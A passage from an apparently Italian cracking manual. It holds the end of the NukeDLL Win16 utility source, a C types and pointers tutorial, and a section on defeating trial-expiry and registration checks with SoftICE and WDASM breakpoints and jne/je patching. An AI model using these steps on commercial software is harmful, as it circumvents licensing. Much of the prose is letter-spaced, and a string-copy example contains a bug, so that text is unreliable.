PostMessage(HWndDlg, WM_COMMAND, IDL_DLLS,
MAKELPARAM(0, LBN_SELCHANGE));
}
}

return FALSE; // Tell TOOLHELP that we didn't handle the notification
}

// Handles all WM_COMMAND messages for the dialog
void Handle_WM_COMMAND(HWND hWndDlg, WPARAM wParam, LPARAM lParam)
{
if ( wParam == IDL_DLLS ) // Left listbox
{
if ( HIWORD(lParam) == LBN_SELCHANGE ) // User has selected
something
{
HMODULE hModule;

hModule = (HMODULE)GetSelectedItemData(hWndDlg, IDL_DLLS);
UpdateReferencingDllList(hWndDlg, hModule);
}
}
else if ( wParam == IDB_NUKE_DLLS ) // "Nuke Highlighted DLL" button
{
HMODULE hModule;
int cUsage;

// Get the HMODULE of the selected DLL out of the item data
hModule = (HMODULE)GetSelectedItemData(hWndDlg, IDL_DLLS);
if ( IsHModule(hModule) == FALSE )
return;

// Check to see if anybody is directly using the DLL. If so,
// prompt the user to make sure they want to procede
if ( HasReferencingDll(hModule) == TRUE )
{
if ( MessageBox(hWndDlg,
"The selected DLL has modules that reference it. Are
you "
"sure you want to do this?", "Hold on...",
MB_YESNO | MB_ICONHAND) != IDYES )
return;
}

// Get the reference count of the DLL and call
// FreeLibrary that many times
cUsage = GetModuleUsage(hModule);
while ( cUsage )
{
FreeLibrary( hModule );
cUsage--;
}

// We don't need to bother to update the DLL list here. The
// last FreeLibrary call above should have caused an
// NFY_DELMODULE notification for the DLL. There should be a
// WM_UPDATE_DLL_LIST message in our message queue, just
// waiting for the chance to redraw the DLL list.
}
else if ( wParam == IDB_EXIT ) // The "Exit" button
{
EndDialog(HWndDlg, 0);
}
}

// Handles the initial setup of the dialog
void Handle_WM_INITDIALOG(HWND hWndDlg, WPARAM wParam, LPARAM lParam)
{
HWndDlg = hWndDlg;

// Draw the DLL list in the left listbox
UpdateDllList(hWndDlg);

// Fake a user selection of the first DLL in the list
PostMessage(hWndDlg, WM_COMMAND, IDL_DLLS, MAKELPARAM(0, LBN_SELCHANGE));

// Set up our TOOLHELP notification callback
NotifyRegister(0, (LPFNNOTIFYCALLBACK) NotifyRegisterCallback, NF_NORMAL);
}

// Dialog procedure for the NukeDll dialog
BOOL CALLBACK _export NukeDllDlgProc(HWND hWndDlg, UINT msg,
WPARAM wParam, LPARAM lParam)
{
switch ( msg )
{
case WM_COMMAND:
Handle_WM_COMMAND(hWndDlg, wParam, lParam);
return TRUE;
case WM_INITDIALOG:
Handle_WM_INITDIALOG(hWndDlg, wParam, lParam);
return TRUE;
case WM_UPDATE_DLL_LIST:
UpdateDllList(hWndDlg);
DllListNeedsRefresh = FALSE;
break;
case WM_CLOSE:
EndDialog(hWndDlg, 0);
return FALSE;
}
return FALSE;
}

int PASCAL WinMain( HANDLE hInstance, HANDLE hPrevInstance,
LPSTR lpszCmdLine, int nCmdShow )
{
// Bring up the NukeDll dialog
DialogBox(hInstance, "NukeDllDlg", 0, (DLGPROC)NukeDllDlgProc);

// Shut down the TOOLHELP notifications set up in Handle_WM_INITDIALOG()
NotifyUnRegister(0);
return 0;
}

I l f i l e di def i ni zi one

Nukedll.def

NAME 'NUKEDLL'
DESCRIPTION 'Program to show DLL list and terminate rogue DLLs'
EXETYPE WINDOWS
CODE PRELOAD MOVEABLE DISCARDABLE
DATA PRELOAD MOVEABLE MULTIPLE
STACKSIZE 5120
HEAPSIZE 1024
EXPORTS
NukeDllDlgProc @1

I l f l e d i ncl ude

Nukedll.h

#define IDB_EXIT 104
#define IDB_NUKE_DLLS 103
#define IDL_DLLS 101
#define IDL_USED_BY 102

nukedll.rc

#include <windows.h>
#include "nukedll.h"

NukeDllDlg DIALOG 82, 48, 160, 114
STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX
CAPTION "NukeDLL - Matt Pietrek 1994"
BEGIN
CONTROL "", IDL_DLLS, "LISTBOX", LBS_NOTIFY | WS_CHILD | WS_VISIBLE |
WS_BORDER | WS_VSCROLL | WS_TABSTOP, 4, 14, 72, 80
CONTROL "", IDL_USED_BY, "LISTBOX", WS_CHILD | WS_VISIBLE | WS_BORDER |
WS_VSCROLL | WS_TABSTOP, 84, 14, 72, 80
PUSHBUTTON "Nuke Highlighted DLL", IDB_NUKE_DLLS, 4, 98, 84, 14, WS_CHILD
| WS_VISIBLE | WS_TABSTOP
PUSHBUTTON "Exit", IDB_EXIT, 108, 98, 24, 14, WS_CHILD | WS_VISIBLE |
WS_TABSTOP
LTEXT "DLLs:", -1, 4, 4, 33, 8, WS_CHILD | WS_VISIBLE | WS_GROUP
LTEXT "Used By:", -1, 84, 4, 33, 8, WS_CHILD | WS_VISIBLE | WS_GROUP
END

Ed i nf i ne i l . mak

Nukedll.mak

PROJNAME = NUKEDLL

$(PROJNAME).exe: $(PROJNAME).obj $(PROJNAME).res
link /ON:N /A:16 $(PROJNAME).obj, $(PROJNAME), , \
LIBW.LIB TOOLHELP.LIB SLIBCEW.LIB,$(PROJNAME).def
RC $(PROJNAME).res $(PROJNAME).exe

$(PROJNAME).obj: $(PROJNAME).c $(PROJNAME).h
CL /W3 /GAs /G2 /O1 /c /Zi $(PROJNAME).c

$(PROJNAME).res: $(PROJNAME).rc
RC -R -FO $(PROJNAME).res $(PROJNAME).rc


DATI E PUNTATORI IN C


Por t o da esempi o i dat i e i punt at or i i n C vi st o che quest o una vi a di mezzo
t r a assembl er ed al t r i l i nguaggi .
I nol t r e i l di scor so f at t o i n r el azi one al l a quant i t di sof t war e pr esent i
scr i t t i con quest o l i nguaggi o.
Gener al ment e i sof t war e pr of essi onal i sono scr i t t i quasi t ut t i i n C/ C++ e se
t r ovat e qual che pr ogr amma scr i t t o i n Vbasi c si cur ament e non f a par t e di qual che
gr osso pr oget t o.
I n Vbasi c ci t r over et e i l pr ogr ammi no che sost i t ui sce l a shel l Wi ndows per
per met t er e l a cancel l azi one e l a copi a di qual che f i l es ma di f f i ci l ment e ci
t r over et e i l pacchet t o di gr af i ca pr of essi onal e.
La t eor i a dei dat i i n C/ C++ sempl i ce i n quant o l uni co concet t o che bi sogna
t ener e a ment e l a di mensi one del val or e da memor i zzar ci dent r o.
Ment r e Vbasi c di f f er enzi a i l t i po st r i nga da quel l o numer i co i l C/ C++ non f a
nessuna consi der azi one i n mer i t o.
Se ci t r ovi amo davant i al pr obl ema di dover memor i zzar e un car at t er e, E ad
esempi o, possi amo usar e i l t i po CHAR, non per ch quest o l egat o ai t i pi
car at t er e, ma sol o per ch l a di mensi one di un CHAR i n C suf f i cent e a ment ener e
memor i zzat o un val or e compr eso t r a 0 e 255 per cui E , che i n ASCI I avr un
val or e compr eso i n quest o r ange, i doneo ad esser e mant enut o i n una var i abi l e
di t i po CHAR.
Una di f f er enzazi one pu esser e f at t a per quant o concer ne i l t i po si gned e quel l o
unsi gned.
Nor mal ment e un cer t o t i po di var i abi l e r i ser va un numer o X di byt es.
Quest i byt es possono esser e vi st i come sequenze di bi t s di cui n- 1 bi t s
r i ser vat i al val or e ment r e 1 bi t s, l ul t i mo, per i l segno.
Quest o si gni f i ca che se ci t r ovi amo di nanzi ad un t i po da un byt e 7 bi t s sar anno
per i l val or e ment r e l ul t i mo per i l segno.
Da ci f aci l e capi r e che oi val or i si gned memor i zzabi l i i n un t i po da 1 byt e
un val or e compr eso t r a +- 127 ovver o i l val or e numer i co r appr esent abi l e da 7
bi t s.
I t i pi del C sono :

a) char - Character.

I l val or e da - 128 a +127
Se si ut i l i zza l a speci f i ca unsi t gned pr i ma del l a def i ni zi one del t i po si f a i n
modo che anche i l bi t per l a r appr esent azi one del segno venga usat o per i l
val or e per cui i n un

unsigned char

I l seguent e pr ogr ammi no t est a se i l si st ema suppor t a i l t i po unsi gned.

#include <stdio.h>

main()
{
char a;
unsigned char b;
a = b = 128;
a >>= 1;
b >>= 1;
printf ( "\nYour computer has %ssigned char.\n\n", a == b ? "un" : "" );
}




b) int - Integers.

Lo st esso di scor so di pr i ma.
I l numer o di byt es var i a a aseconda del l a macchi na.
Una vol t a i l t i po i nt er a di 2 byt es su cer t e macchi ne ment r e su al t r e che
di st i nguevano i l t i po l ong i nt eger da quel l o shor t i nt eger l o t r at t avano a 4
byt es come i l t i po l ong.
I n ogni caso guar dat e l ambi ent e e i l si st ema.
Se i l t i po i nt a 2 byt es al l or a avr et e :

i nt - 2 byt es 15 bi t s per i l val or e e 1 per i l segno da - 32768 a +32767
unsi gned i nt 2 byt es 16 bi t s per i l val or e 65535

c) long Long

Qui i l val or e quel l o di 4 byt es ovvr er o 31 per i l val or e e 1 per i l segno o
t ut t i per i l val or e.
I l r ange - 4294967296 +4294967295.

d) float e double - The Real Numbers.


I val or i per quest i t i pi sono :

MAXFLOAT 3.40282346638528860e+38
MINFLOAT 1.40129846432481707e-45
MAXDOUBLE 1.79769313486231470e+308
MINDOUBLE 4.94065645841246544e-324

I n C avet e a di sposi zi one i l concet t o di ar r ay per cr ear e del l e l i st e di val or i
del l o st esso t i po.
Le st r i nghe vengono i nf at t i t r at t at e dal C come ar r ay anche se di f at t o i l
compi t o di gest i r e al cune cose compi t o degl i al gor i t mi .
Per f ar e un esempi o con i l basi c pot r ei aver e :

A$ = St r i nga;
B$ = A$;

La pr i ma var i abi l e, a segui t o del l assegnazi one, cont er r ebbe i l val or e St r i nga.
La seconda assegnazi one copi er ebbe St r i nga i n B$.
Di f at t o quel l a che pe noi una sol a azi one per i l si st ema un al gor i t mo.
I n pr at i ca ogni car at t er e di A$ ver r ebbe pr eso e se consi der at o val i do copi at o
i n B$.
I l cont r ol l o di val i di t , da copi ar e o no, pot r ebbe esser e f at t o medi ant e l a
l unghezza del l a st r i nga ( r i pet i per n vol t e con n = a l en( A$) ) , oppur e medi ant e
un car at t er e di cont r ol l o ( i l car at t er e x di A$ == al car at t er e di f i ne
st r i nga ? NO. Al l or a copi a) .
Quest o per di r e che i n C l e st r i nghe vengono t r at t at e sol o per i l f at t o ce
esi st ono al gor i t mi per l a l or o gest i one.
I n gener e i l car at t er e 0 ( non ASCI I ( 0) . . . pr opr i o NULL) usat o per t er mi nar e
l a st r i nga.
Esi st e una f ami gl i a di f unzi oni del C che ser vono a mani pol ar e l e st r i nghe.
Lasci amo per or a per der e i l C++ e i l suo oper at or over l oadi ng !
Quest e f unzi oni per met t ono l a copi a di due ar r ay, l accodament o e l a
compar azi one.
I n ogni caso essi st e sempr e una gr ossa component e al gor i t mi ca che si mi l e a
quel l a che t r over et e anal i zzando i sor gent i i n assembl er nel l e f asi di
compar azi one.
Pr endi amo l al gor i t mo di copi a da un ar r ay al l al t r o.
Usa i come indice e assegnalo a 0
Prendi il caratteri i dellarray b.
Segna posizione.
E 0 ovvero il carattere di fine stringa ?
Si. Aggiungi allarray a nella posizione i il carattere null e termina.
No. Aggiungi allarray a nella posizione i il carattere i dellarray b.
Incrementa i di 1 e riprendi dalla posizione segnata.

I n C :

char a[] = Stringa;
char b[10];
int index = 0;

while(a[index] != 0) {
b[index] = a[index];
++index;
}
a[index] = 0;

Bi sogna r i cor dar si sempr e che i n f ase di assegnazi one f at t a al l a di chi ar azi one
i l car at t er e 0 di f i ne st r i nga vi ene assegnat o aut omat i cament e se no compi t o
nost r o ad i nser i r l o.
Se ad esempi o nel l al gor i t mo pr ecedent e ci si f osse di ment i cat i di assegnar e
l aul t i mo 0 a a[ i ndex] avr emmo avut o pr obl emi ut i l i zzando nuovament e a ( pr ovat e
a pensar e se i n b[ ] non ci f osse st at o l o 0 . . . sar ebbe andat o avant i
al i nf i ni t o) .
Quest o t i po di al gor i t mi l i t r over et e spesso nei cont r ol l i f at t i dal l e r out i ne
i n assembl er .
La compar azi one di st r i nghe i nf at t i avvi ene f acendo quest o r agi onament o.

Pendi i l car at t er e i di a e conf r ont al o con i l car at t er e i di b.
Se f i ni t a l a st r i nga b r i t or na 0.
Se ugual e i ncr ement a l i ndi ce e r i comi nci a.
Se non ugual e r i t or na i l val or e del car at t er e i di a ( meno) i l car at t er e i
di b.

I l val or e r est i t ui t o sar :

0 se a == b
<0 se a < b
>0 se a > b

A quest o punt o possi amo aggi unger e un sempl i ci ssi mo concet t o.
Di cevamo che i l t i po di ce che di mensi one possi ede al massi mo i l val or e
memor i zzat o.
Le var i abi l i dove sono memor i zzat e ?
I n memor i a.
Se qui ndi di ci amo char a di ci amo che a una var i abi l e di 1 byt e i n memor i a.
Ma se i n memor i a e l a memor i a una sequenza di byt es numer at i da 0 al l a
di mensi one massi ma del si st ema pot r emo anche di r e che a posi zi onat o ad un
cer t o i ndi r i zzo.
L oper at or e unar i o & r est i t ui sce l i ndi r i zzo di una var i abi l e.
At t enzi one che gl i ar r ay sono gi t r at t at i come ar r ay.
Se abbi amo

char a[20];

pot r emmo r i f er i r ci al l i ndi r i zzo del pr i mo el ement o di a con :

&a[0];

Essendo un ar r ay di r e a senza nul l al t r o come di r e &a[ 0] ;
A quest o punt o subent r a l ar i t met i ca degl i i ndi r i zzi .
Ho omesso i l concet t o di st r ut t ur a r el at i va ai dat i i n quant o pr ef er i sco veder l a
con gl i i ndi r i zzi pi avant i .
L oper at or e &, di cevamo r est i t ui sce l i ndi r i zzo di un ogget t o, ment r e
l oper at or e * posi zi onat o di nanzi ad un i ndi r i zzo ci f a r i f er i r e al cont enut o di
quel l i ndi r i zzo.
Se avessi mo :

int a = 20;

Si gni f i ca che a una var i abi l e i nt er a ( 2 byt es) che cont i ene i l val or e 20.
Quest o val or e 20 si t r over a qual che i ndi r i zzo di memor i a per cui se di cessi :

&a

sar ebbe come di r e l i ndi r i zzo di a che i n quest o caso sar ebbe l i ndi r i zzo dove
si t r ova i l val or e 20.
Se &a l i ndi r i zzo di a:

*(&a)

sar ebbe come di r e i l val or e punt at o dal l i ndi r i zzo di a per cui i l comando :

stampa *(&a)

st amper ebbe 20.
Gl i i ndi r i zzi sono numer i per cui i punt at or i possono esser e sogget t i ad un
ar i t met i ca.
Avendo :

char a[20];

di r e a sar ebbe come di r e &a[ 0] per cui a sar ebbe un val or e numer i co.

a+1

l i ndi r i zzo r appr esent at o da a + 1 * di mensi one_t i po.
Fat e at t enzi one a quel di mensi one t i po.
Gl i i ncr ement i , decr ement i ecc. sono sempr e r el at i vi , i n numer o di byt es, al
numer o r i chi est o * l a di mensi one del t i po del punt at or e.
I n byt es di r e :

int a;

int bytes = &a + 1;

sar ebbe come di r e &a + ( 1 * di mensi one di i nt )
Per cui se &a 1000 i n byt es t r over emo 1002 ovver o 1000 + ( 1 * 2) .
Usando gl i ar r ay possi amo r i f er i r ci ad un el ement o con :

a[100]

ovver o i l 100 el ement o di a oppur e :

&a[0] + (100 * 2)

Avr et e vi st o i n al cuni esempi por t at i i n al t r i capi t ol i l a pot enza
del l ar i t met i ca dei punt at or i .


PREFAZIONE AI TIPI DI RICERCHE




Come di cevamo pr i ma, spesso l a chi ave per r i usci r e ad i ndi vi duar e i punt i gi ust i
i n cui vengono esegui t i gl i i nput dei codi ci di r egi st r azi one st a nel f at t o di
capi r e qual i f unzi oni del l e API o qual i meccani smi vengono usat i per esegui r e l e
l et t ur e.
Par t i amo dal pr esuppost o che i t empi i n cui l e pr ot ezi oni er ano f at t e con i l
met odo Chi edi l a passwor d, conf r ont al a con xxx, avver t i ok o non ok f i ni t o.
Le mascher e del seguent e t i po
sono comuni e non sono quasi mai
par t i or i gi nal i del sof t war e ma
pr ogr ammi pr of essi onal i dest i nat i
al l a gest i one dei di most r at i vi .
Le t ecni che adot t at e sono mol t o
compl esse e spesso ut i l i zzano
al gor i t mi par t i col ar i .
Qui a f i anco abbi amo i l mar chi o
del met odo di cr i t t ogr af i a
ut i l i zzat o dal sof t war e per l a
gest i one dei di most r at i vi adot t at o
da sof t war e house come ad esempi o
Macr omedi a, Symant ec ecc.
I l pr ogr amma vi st o nel l a panor ami ca f at t a
nel l apposi t o capi t ol o denomi nat o Pr ocDump ser ve a
cr ear e dei DUMP decodi f i cat i di cer t i t i pi di
si st emi .
Quest i sof t war e di spongono di cer t i cost i che spesso
sono l egat i al l a si ngol a copi a per cui mol t i
pr ogr ammi possi edono del l e pr ot ezi oni pi caser ecce
( e meno compl esse) .
I n ogni caso i t empi del Get Dl gI t emText sempr e pi
di st ant e per cui i mpor t ant i ssi mo i ndi vi duar e i l met odo da segui r e
i ni zi al ment e, di pendent e da al cune cose.
Spesso capi t a anche che pr i ma che venga ef f et t i vament e at t i vat o un pr ogr amma ci
compai a una MessageBox con l avver t i ment o di quant i gi or ni ci r i mangono a
di sposi zi one o addi r i t t ur a un messaggi o i n cui veni amo avvi sat i che i l t empo a
nost r a di sposi zi one scadut o.
Come di cevo pr i ma quest o pu avveni r e per f unzi oni i ncl use nel l a l ogi ca del
pr ogr amma, ovver o i nser i t e di r et t ament e dal pr ogr ammat or e or i gi nal e, o t r ami t e
pr ogr ammi di pr ot ezi one che possono i nt er veni r e anche su pr ogr ammi esegui bi l i
gi compi l at i .
Quest i ul t i mi sono sempr e modul i pr of essi onal i dove l e r out i nes di r i chi est a del
codi ce ser i al e avvi ene t r ami t e compl i cat i al gor i t mi che possono esser e anche
col l egat i a si st emi di r egi st r azi one su r et e I nt er net .
I n quest i casi l e t est at e dei pr ogr ammi sono cr i t t ogr af at e e i l t r aci ng dei
pr ogr ammi abbast anza compl esso.
Mol t e ut i l i t i es vi st e pr i ma ser vono ad esegui r e i l dump di t al i pr ogr ammi qual i
ad esempi o quel l i che usano VBOX.
Abbi amo appena r i cor dat o PROCDUMP.
Nor t on e Macr omedi a ut i l i zzano spesso quest i modul i anche se nel l e ul t i me
ver si oni l e DLL sono st at e modi f i cat e per by- passar e l e or mai i nnumer evol i
r out i nes gener at r i ci di codi ce pr esent i su I nt er net .
Ad esempi o l e f unzi oni di pr ot ezi one dei sof t war e pr esent i con pr odot t i
Macr omedi a er ano r esi dent i dent r o al l a DLL r sagnt 32. dl l ( pr ende i l nome dal
met odo di cr i t t ogr af i a RSA) .
Le ul t i me ver si oni di spongono del l e seguent i di mensi oni .


Nel l e ver si oni pr ecedent i


Tut t i i sof t war e pr esent i i n I nt er net per Macr omedi a con l ul t i ma ver si one ( l a
pr i ma most r at a) non f unzi onano pi u .
Comunque per f ar l a br eve vi sar capi t at o di chi eder vi dove vengono l et t i i var i
12 gi or ni , 30 gi or ni ecc. , ovver o i t empi r el at i vi al l uso di un pr ogr amma
t i mel ock.
Quasi sempr e avvengono del l e l et t ur e dent r o al r egi st r o al l a r i cer ca di chi avi
non sempr e cos chi ar e come si vor r ebbe.
Leggevo una speci e di scr i t t o su I nt er net che si def i ni va come I l manual e
hacker i n cui c er a un capi t ol o con del l e domande e r i spost e i n cui ne
compar i va una :
Quando un pr ogr amma t i avvi sa che i l
t empo scadut o ed esce senza dar t i l a
possi bi l i t di gi unger e al l a f i nest r a
di r egi st r azi one come si deve f ar e ?
La r i spost a :
Cer cat e nel f i l e del r egi st r o l e voci
sot t o CURRENT_USER/ Sof t war e r el at i ve
al pr ogr amma i n quest i one e
cancel l at el e.
Avr ebbe pot ut o anche scr i ver e :
Sper at e che ci si a un pul sant e per
r eset t ar e i gi or ni e pr emet el o.
Chi scr i ve l e r out i ne l egat e al l a
pr ot ezi one a t empo non i nser i sce nel
r egi st r o voci cosi f aci l ment e
r i nt r acci abi l i ed i n par t i col ar e modo
sot t o l e voci speci f i che del pr ogr amma
i n quest i one.
Sof t I ce e Wdasmpossono ser vi r e anche i n quest o caso.
At t i vat el i e cer cat e d i nser i r e dei br eakpoi nt nei punt i i n cui vengono esegui t e
del l e chi amat e a RegQuer yVal ue ecc.
I nser i t e anche qual che br eakpoi nt andando a cl i ckar e sul l a f unzi one MessageBox.
Guar dat e l esempi o del pr ogr amma seguent e i l qual e scadut o.
Per l esempi o usat o WDASM.
Dopo aver l o car i cat o r i chi edi amo di aver vi sual i zzat e l e f unzi oni i mpor t at e.
Subi t o nel l e pr i me r i ghe r i sul t ano l e f unzi oni l egat e al l a gest i one del
r egi st r o.
Facci amo cl i ck su quel l e l egat e al l i nt er r ogazi one e set t i amo dei br eakpoi nt
senza cer car e i ni zi al ment e di capi r e se si t r at t a dei punt i che ci i nt er essano a
noi .
At t i vi amo i l pr ogr amma con F9 ed at t endi amo per veder e se si f er ma da qual che
par t e.
Appena i l t ut t o si i nt er r omper ver r vi sual i zzat a l a f i nest r a i n cui compai ono
anche i par amet r i passat i al l a f unzi one.
I n quest a f i nest r a esi st e un t ast o GET API RESULT che esegue l a chi amat a e
r i t or na i val or i di r i t or no dal l a f unzi one.
I seguent i dat i sono quel l i cat t ur at i dal l a f i nest r a ( non r i por t o t ut t a l a
f i nest r a a causa del l e di mensi oni ) .

API LONG Ar g00 = RegQuer yVal ueExA( Ar g01, Ar g02, Ar g03, Ar g04, Ar g05, Ar g06)
API Addr ess=00405998, API Ret ur n Addr ess=00446B69
Ar g01 = ( HKEY) c49ad860- >( )
Ar g02 = ( LPTSTR) 00447d80 - > " Reg"
Ar g03 = ( LPDWORD) 00000000 - > 00ca000b
Ar g04 = ( LPDWORD) 0069f c4c - > 00000000
Ar g05 = ( LPBYTE) 0069f c64 - > " `| "
Ar g06 = ( LPDWORD) 0069f c60 - > 00000004

RESULT f or API RegQuer yVal ueExA
Ar g00 = ( LONG) 00000002
Ar g01 = ( HKEY) c49ad860- >( )
Ar g02 = ( LPTSTR) 00447d80 - > " Reg"
Ar g03 = ( LPDWORD) 00000000 - > 00ca000b
Ar g04 = ( LPDWORD) 0069f c4c - > 00000000
Ar g05 = ( LPBYTE) 0069f c64 - > " `| "
Ar g06 = ( LPDWORD) 0069f c60 - > 00000004

Come vedet e uno degl i ar goment i Reg.
Pr osegui amo con l esecuzi one e cont r ol l i amo sempr e che nel l e vi ci nanze del
codi ce i n quest i one non venga i ndi cat a qual che chi amat a a f unzi oni t i po
MessageBox ut i l i zzat e per vi sual i zzar e i l messaggi o di Tempo Scadut o.

API LONG Ar g00 = RegQuer yVal ueExA( Ar g01, Ar g02, Ar g03, Ar g04, Ar g05, Ar g06)
API Addr ess=00405998, API Ret ur n Addr ess=00446B69
Ar g01 = ( HKEY) c49ad860- >( )
Ar g02 = ( LPTSTR) 00447d64 - > " St ar t "
Ar g03 = ( LPDWORD) 00000000 - > 00ca000b
Ar g04 = ( LPDWORD) 0069f c3c - > 00000000
Ar g05 = ( LPBYTE) 0069f c54 - > " i "
Ar g06 = ( LPDWORD) 0069f c50 - > 00000008

RESULT f or API RegQuer yVal ueExA
Ar g00 = ( LONG) 00000000
Ar g01 = ( HKEY) c49ad860- >( )
Ar g02 = ( LPTSTR) 00447d64 - > " St ar t "
Ar g03 = ( LPDWORD) 00000000 - > 00ca000b
Ar g04 = ( LPDWORD) 0069f c3c - > 00000003
Ar g05 = ( LPBYTE) 0069f c54 - > " "
Ar g06 = ( LPDWORD) 0069f c50 - > 00000008

Poche l i nee di pr ogr amma dopo, a segui t o di cont r ol l i sui val or i r est i t ui t i da
quest ul t i ma chi amat a, vi ene r i chi amat a l a f unzi one MessageBox con i l t est o
r el at i vo al l avvi so di t empo scadut o.

API i nt Ar g00 = MessageBoxA( Ar g01, Ar g02, Ar g03, Ar g04)
API Addr ess=004060B8, API Ret ur n Addr ess=00447AC8
Ar g01 = ( HWND) 00000d1c ( Wi ndow" - - - - - - - - - - - - - - - - " )
Ar g02 = ( LPCTSTR) 00447d98 - > " Your t r i al per i od f or - - - - - - - - - - - - - - - has
expi r ed and t he pr ogr amwi l l no l onger f unct i "
Ar g03 = ( LPCTSTR) 00447d84 - > " Expi r at i on Not i ce"
Ar g04 = ( UI NT) 00000030

I var i - - - - - - - - - - - - - - - - - - sono i l nome del pr ogr amma che ho usat o come esempi o
che ho cancel l at o.
Anal i zzando i l codi ce pr i ma del l a chi amat a a MessageBox sar f aci l e t r ovar e
qual che j ne o j e che i ndi r i zzer o f ar evi t ar e quest o punt o.
I n quest o caso possi amo segui r e due vi e.
La pr i ma, l a pi compl essa, ci por t er ad anal i zzar e bene i l codi ce per capi r e
qual i val or i i ndi cano l avvenut a r egi st r azi one.
I n quest o caso dovr emo adot t ar e
t ecni che di r ever se engi neer i ng per
r i usci r e a r i cost r ui r e i l t ut t o i n
modo cor et t o.
Pot r emmo anche capi r e qual e codi ce
i ndi ca l a r egi st r azi one ed andar l o
ad i nser i r e nel r egi st r o senza
modi f i car e i l codi ce del pr ogr amma.
L al t r o met odo sar quel l o pi
sempl i ce di modi f i car e i l j ne i n j e
o vi cever sa i n modo che i l pr ogr amma
non si i nt er r ompa e ci per met t a
al meno di ar r i var e al l a di al og
d i nser i ment o del codi ce.
Se i l pr ogr amma non possi ede
l i mi t azi oni nel l a ver si one demo
pot r emmo al l i mi t e non r egi st r ar l o.
I n al t r e par ol e i l pr ogr amma si
accor ger di esser e scadut o ma non
si i nt er r omper .
I l pr ogr amma usat o come esempi o non
possi ede chi amat e a Get Dl gI t emText
ecc. per esegui r e l a l et t ur a del codi ce di r egi st r azi one.
I n ogni caso sbagl i ando ad i nser i r l o esegue una chi amat a a MessageBox per
esegui r e l a segnal azi one di codi ce er r at o.
Eseguendo l i nt er cet t azi one e r i t or nando i ndi et r o nel codi ce dove avvenut a l a
chi amat a si gi unge ad un punt o di par t enza dove vi ene esegui t a l a pr epar azi one
del messaggi o d er r or e.
Una scr i t t a segnal a che l a chi amat a a quel punt o avvi ene al l i ndi r i zzo 00446F72.
Si cur ament e i l cont r ol l o del codi ce i nser i t o avver r da quel l e par t i per cui
sar i l caso di andar e a veder e al l i ndi r i zzo speci f i cat o.
Ut i l i zzando Sof t I ce avet e l a possi bi l i t di gest i r e i l backt r ace buf f er per cui
ar r i vat i ad un cer t o punt o pot r est e esegui r e l o st ep by st ep a r i t r oso.
Ment r e con WDASM dovet e posi zi onasi su ogni MessageBox con Sof t I ce pot et e
i nser i r e un br eakpoi nt uni co r el at i vo a t ut t i i MessageBox.

BPX MessageBox

I n al cuni casi l e t ecni che l egat e al l e r out i nes di r egi st r azi one sono ancor a pi
nascost e per cui bi sogna sper ar e di pot er si af f i dar e ad al t r i met odi per
i ndi vi duar l e.
Tr at t andosi di pr ogr ammi Wi ndows esi st e t r a l e r i sor se l a t abel l a del l e
st r i nghe.
WDASM ad esempi o possi ede un pul sant e r el at i vo ad una f unzi one che most r a l e
st r i nghe esi st ent i come r i sor se.
I n quest o caso esi st ono due possi bi l i t .
La pr i ma quel l a di cer car e l e st r i nghe come ad esempi o Gr azi e per l a
r egi st r azi one, Codi ce er r at o ecc.
Guar dat e l a seguent e l i st a.

" t $A"
" TAppl i cat i on"
" Text Hei ght "
" Thank You f or r egi st er i ng! "
" Thi s i s a r ead- onl y pr oper t y, "
" Thi s pr ogr ami s l i censed t o: "
" Thi s pr ogr ami s unr egi st er ed. "
" TMMConnect or Wi ndow"

Come pot et e veder e una st r i nga r el at i va al r i ngr azi ament o per l a
r egi st r azi one.
Eseguendo i l cl i ck su quest o WDASM ci posi zi ona sul codi ce che l a ut i l i zza.
La l et t ur a di t al i si r i nghe avvi ene t r ami t e l a f unzi one API LoadSt r i ng per cui
sempr e possi bi l e i nser i r e br eakpoi nt l egat e a quest a f unzi one.

user 32. LoadSt r i ngA
user 32. LoadSt r i ngA
user 32. MapVi r t ual KeyA
user 32. MapWi ndowPoi nt s

Di cevo pr i ma che spesso l e f unzi oni di pr ot ezi one der i vano da modul i commer ci al i
est er ni che vengono agganci at i ai f i l e esegui bi l i .
I n quest o caso si cur ament e esi st ono f unzi oni l egat e al l a gest i one del l a
pr ot ezi one i nser i t e i n DLL est er ne.
WDASM pr evede un f l ag che bl occa i l pr ogr amma t ut t e l e vol t e che vi ene l et t a una
DLL.
I n ogni caso l a pr i ma cosa da f ar e quel l a di anal i zzar e l e f unzi oni i mpor t at e.
Gener al ment e a f i anco al nome del l a f unzi one c quel l a del l a DLL de4nt r o al l a
qual e quest a si t uat a.

ol eaut 32. Var i ant Cl ear
ol eaut 32. Var i ant CopyI nd
SHRLK21. CheckPr ot ect i onDLL
SHRLK21. DoRegi st r at i on
SHRLK21. Get St at us
SHRLK21. PassHandl e
user 32. Act i vat eKeyboar dLayout
user 32. Adj ust Wi ndowRect Ex

Nel pr ecedent e esempi o sono da not ar e l e f unzi oni DoRegi st r at i on dent r o al l a DLL
SHRLK21.
Chi ar ament e quest e f unzi oni sar anno ogget t i di cont r ol l o.
I n quest o caso l a cosa al t a subi t o al l occhi o ma non sempr e cosi sempl i ce.
Al cune vol t e t r ovat e nel l a di r ect or y \ wi ndows\ syst emal cune DLL di pi ccol e
di mensi oni che sono appunt o col l age al l e r out i nes di pr ot ezi one.
Ad esempi o :

C: \ Wi ndows\ SYSTEM\ VBOXB40. DLL
C: \ Wi ndows\ SYSTEM\ VBOXB403. DLL
C: \ Wi ndows\ SYSTEM\ VBOXB410. DLL
C: \ Wi ndows\ SYSTEM\ vboxp40. dl l
C: \ Wi ndows\ SYSTEM\ vboxp403. dl l
C: \ Wi ndows\ SYSTEM\ vboxp410. dl l
C: \ Wi ndows\ SYSTEM\ VBOXT40. DLL
C: \ Wi ndows\ SYSTEM\ VBOXT403. DLL
C: \ Wi ndows\ SYSTEM\ VBOXT410. DLL

Pr ecedent ement e, par l ando dei pr ogr ammi che ci per met t ono di i ndi vi duar e al cune
cose l egat i ai pr ogr ammi t ar get , avevamo det t o che una cosa f ondament al e
quel l a di i ndi vi duar e i l l i nguaggi o ut i l i zzat o.
Se ad esempi o guar dando con Qui ckVi ew ci accor gi amo che i l pr ogr amma ut i l i zza
una DLL chi amat a VB40032. DLL al l or a sappi amo che i l pr ogr amma scr i t t o i n
Vi sual Basi c 4 per cui f unzi oni come Get Dl gI t emText o Get Dl gI t emI nt non
ser vi r anno a nul l a.
